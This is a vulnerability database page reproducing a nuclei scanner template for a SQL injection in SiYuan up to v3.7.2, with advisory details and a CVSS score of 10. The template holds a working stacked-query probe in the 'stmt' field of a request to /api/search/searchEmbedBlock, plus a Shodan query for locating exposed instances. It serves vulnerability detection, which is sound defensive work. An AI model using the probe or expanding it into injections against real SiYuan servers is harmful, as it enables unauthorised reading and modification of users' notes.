Lucene search
+L

SiYuan - SQL Execution

🗓️ 09 Sep 2026 02:52:56Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 8 Views

SQL injection in SiYuan <= v3.7.2 allows unauthenticated users to read and modify all cleartext notebooks.

Related
Refs
Code
id: CVE-2026-69084

info:
  name: SiYuan - SQL Execution
  author: Boreas37
  severity: critical
  description: |
    SiYuan <= v3.7.2 contains a SQL injection caused by passing client-supplied SQL statements verbatim to the main read-write database handle in /api/search/searchEmbedBlock, letting attackers with publish RoleReader token or anonymous access read and modify content, exploit requires publish RoleReader token or disabled publish authentication.
  impact: |
    Attackers can read and modify content across all opened cleartext notebooks, potentially compromising data integrity and confidentiality.
  remediation: |
    Update to version v3.7.3 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vh22-h7hf-www7
    - https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchembedblock
    - https://nvd.nist.gov/vuln/detail/CVE-2026-69084
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 10
    cve-id: CVE-2026-69084
    epss-score: 0.01104
    epss-percentile: 0.63615
    cwe-id: CWE-89
  metadata:
    max-request: 2
    verified: true
    shodan-query: 'title:"SiYuan"'
  tags: cve,cve2026,siyuan,sqli,authenticated

variables:
  auth_code: "{{password}}"

http:
  - raw:
      - |
        POST /api/system/loginAuth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"authCode":"{{auth_code}}"}

      - |
        POST /api/search/searchEmbedBlock HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"embedBlockID":"20210808180117-6v0mkxr","stmt":"SELECT 1; SELECT 2","excludeIDs":[],"headingMode":0,"breadcrumb":false}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"code":0'

      - type: word
        part: body
        words:
          - 'SQL statement is not single'
        negative: true

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210093d6b8c9321ee596421918eb8c2512e0659e2b9a04973b87e5475b116bd032f802203424313ecf7a74909ca0f7b006b4ebd59c3a8b67fdf5d3fa30f2036940222b53:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 09:59Current
5.8Medium risk
Vulners AI Score5.8
CVSS 49.9
CVSS 3.110
EPSS0.01104
SSVC
8